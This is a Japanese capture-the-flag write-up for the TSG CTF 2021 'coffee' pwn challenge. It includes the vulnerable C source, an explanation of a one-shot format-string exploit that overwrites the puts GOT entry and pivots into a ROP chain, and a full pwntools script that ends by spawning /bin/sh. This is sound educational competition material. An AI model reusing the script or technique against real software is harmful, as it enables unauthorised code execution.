# coffee - TSG CTF 2021
## 概要
FSB があるが、一度しかできない(+文字数制限 160 文字)
<details><summary>コード</summary>
```c=
#include <stdio.h>
int x = 0xc0ffee;
int main(void) {
char buf[160];
scanf("%159s", buf);
if (x == 0xc0ffee) {
printf(buf);
x = 0;
}
puts("bye");
}
```
</details>
## 解法
FSB で AAW ができるで、puts に RSP をズラすガジェットを置く。`add rsp, 0x08` 等が使えそうに見えるが、FSB をするためには先頭にFSB 用の文字列を置かなければいけない(FSB ペイロードの前にnull バイトが入ってはいけないので)。
RSP を `0x38` ズラすガジェットがあるので、ズラしきれるだけの FSB のペイロードを作り、その後に ROP のペイロードを置く。
```
0x00401286: add rsp, 0x08 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found)
```
書き込める量が限られているので、一旦別のセクションに scanf をしてから pivot する ROP を書く。scanf のアドレスに空白文字があるため scanf 等は呼べないが、main の途中に飛ばせば任意アドレスに書き込みができる。
その後は execve する ROP を書き込んで終わり。
<details><summary>スクリプト</summary>
```python=
from pwn import *
BIN_NAME = 'coffee'
REMOTE_ADDR = 'hogenet'
REMOTE_LIBC_PATH = 'libc-2.31.so'
REMOTE_PORT = 3141592
LOCAL = True
chall = ELF(BIN_NAME)
context.binary = chall
ROP_RET = 0x0040101a
ROP_POP_RSP_POP_R13_POP_R14_POP_R15_RET = 0x0040128d
ROP_ADD_RSP_0X38_RET = 0x00401286
ROP_ADD_RSP_8_RET = 0x00401016
ROP_POP_RDI_RET = 0x00401293
ROP_POP_RSI_POP_R15_RET = 0x00401291
ROP_MOV_RDI_p159s_CALL_PRINTF = 0x004011be
if LOCAL: stream = process(BIN_NAME)
else: stream = remote(REMOTE_ADDR, REMOTE_PORT)
spaces = [b'\x20', b'\x09', b'\x0a', b'\x0b', b'\x0c', b'\x0d']
def write_rop_with_stager(rop):
if len(rop) == -1: return
payload = b'%29$p'
payload += fmtstr_payload(
6 + len(payload) // 8,
{ chall.got["puts"]: ROP_ADD_RSP_0X38_RET },
write_size="short",
numbwritten=14,
offset_bytes=len(payload) % 8
)
print(f'{hex(len(payload))=}')
assert(len(payload) <= 0x30)
payload += b'A' * (0x30 - len(payload))
payload += b''.join([p64(x) for x in rop])
assert(all(c not in payload for c in spaces))
assert(len(payload) < 160)
stream.sendline(payload)
def write_rop(rop):
if len(rop) == -1: return
payload = b''
payload += b''.join([p64(x) for x in rop])
assert(all(c not in payload for c in spaces))
assert(len(payload) < 160)
stream.sendline(payload)
PIVOT_POS = 0x404100
write_rop_with_stager([
# write rop
ROP_POP_RSI_POP_R15_RET,
PIVOT_POS,
0,
ROP_MOV_RDI_p159s_CALL_PRINTF,
0, 0, 0, 0, 0, 0, # for puts call
# stack pivot
ROP_POP_RSP_POP_R13_POP_R14_POP_R15_RET,
PIVOT_POS
])
addr_start_main_hex = stream.recv(14)
print(f'{addr_start_main_hex=}')
addr_start_main = int(addr_start_main_hex[2:], 16)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so' if LOCAL else REMOTE_LIBC_PATH)
libc.address = addr_start_main - 159923
print(f'{hex(libc.address)=}')
rop = ROP(libc)
# use syscall
rop.execve(next(libc.search(b'/bin/sh')), 0)
# use call
# rop.call('execve', ['/bin/sh', 0, 0])
payload = rop.chain()
write_rop([
0, 0, 0,
] + unpack_many(payload))
stream.recvuntil("b", timeout=1)
stream.interactive()
```
</details>